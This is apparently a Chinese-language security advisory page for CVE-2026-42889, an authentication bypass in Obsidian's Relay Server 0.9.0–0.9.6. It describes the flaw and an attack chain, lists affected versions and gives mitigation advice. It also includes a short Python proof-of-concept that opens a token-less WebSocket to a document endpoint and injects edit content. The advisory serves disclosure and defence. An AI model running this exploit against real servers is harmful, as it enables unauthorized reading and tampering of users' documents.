IPBUF安全漏洞报告
English
CVE-2026-42889 CVSS 9.1 严重

CVE-2026-42889 Relay Server认证绕过漏洞

披露日期: 2026-05-12

漏洞信息

漏洞编号
CVE-2026-42889
漏洞类型
认证绕过
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Relay Server (Obsidian)

相关标签

认证绕过WebSocketObsidianRelay Server数据泄露

漏洞概述

Relay Server是为Obsidian提供实时协作功能的服务器组件。在0.9.0至0.9.6版本中,存在一处严重的认证绕过漏洞。该漏洞位于多文档WebSocket端点处,当系统配置了身份认证机制时,由于逻辑错误,未携带Token查询参数的WebSocket连接被错误地赋予了完全的服务器权限。未经身份验证的攻击者只需知道或猜测到文档ID,即可连接到文档同步WebSocket接口,在无需有效文档Token的情况下读取或修改文档内容。该漏洞在0.9.7版本中已被修复。

技术细节

该漏洞源于Relay Server在处理WebSocket连接时的权限校验逻辑缺陷。在受影响版本中,尽管系统管理员可能已配置了认证机制,但在处理多文档同步的WebSocket端点时,程序未能正确验证连接请求中是否包含有效的Token查询参数。正常情况下,访问特定文档的同步通道应提供对应的文档Token以证明访问权限。然而,漏洞代码将缺少Token的连接默认为拥有高权限用户或系统内部连接。这导致了访问控制列表(ACL)的失效。攻击者无需进行复杂的解密或会话劫持,仅需通过网络嗅探或暴力猜测获取目标文档的ID(Document ID),即可构造恶意的WebSocket握手请求。一旦连接建立,攻击者即可利用该通道发送同步数据包,实现对服务器上文档内容的任意读取和篡改,严重破坏数据的机密性和完整性。

攻击链分析

STEP 1
信息收集
攻击者识别出目标服务器运行的是Relay Server,并确定其版本在0.9.0到0.9.6之间。
STEP 2
猜测文档ID
攻击者通过枚举、猜测或利用信息泄露,获取目标Obsidian文档的ID。
STEP 3
建立未授权连接
攻击者向服务器的WebSocket端点发起连接请求,URL中包含文档ID,但不携带Token参数。
STEP 4
执行攻击
由于漏洞存在,服务器接受了连接并赋予完全权限。攻击者通过WebSocket通道读取敏感数据或发送修改指令篡改文档。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import asyncio import websockets async def exploit(target_uri, doc_id): # Construct the WebSocket URL without a token # Vulnerability: Server treats connections without token as fully authorized uri = f"{target_uri}/ws/doc/{doc_id}" try: async with websockets.connect(uri) as websocket: print(f"[+] Connected to {uri} without authentication") # Send a malicious message to read or modify document content # Example payload structure depends on Relay Server protocol payload = { "type": "edit", "content": "Malicious content injected by attacker" } await websocket.send(str(payload)) print("[+] Payload sent") # Listen for response (document content) response = await websocket.recv() print(f"[+] Received data: {response}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Replace with actual target and guessed document ID target_host = "ws://192.168.1.100:8080" target_doc_id = "example-doc-id-123" asyncio.run(exploit(target_host, target_doc_id))

影响范围

Relay Server 0.9.0
Relay Server 0.9.1
Relay Server 0.9.2
Relay Server 0.9.3
Relay Server 0.9.4
Relay Server 0.9.5
Relay Server 0.9.6

防御指南

临时缓解措施
建议管理员立即检查Relay Server版本,若在受影响范围内,应尽快升级至0.9.7版本。在无法立即升级的情况下,建议通过防火墙规则限制WebSocket端口的入站访问,仅允许可信IP地址连接,或者暂时关闭服务以防止未经授权的数据访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表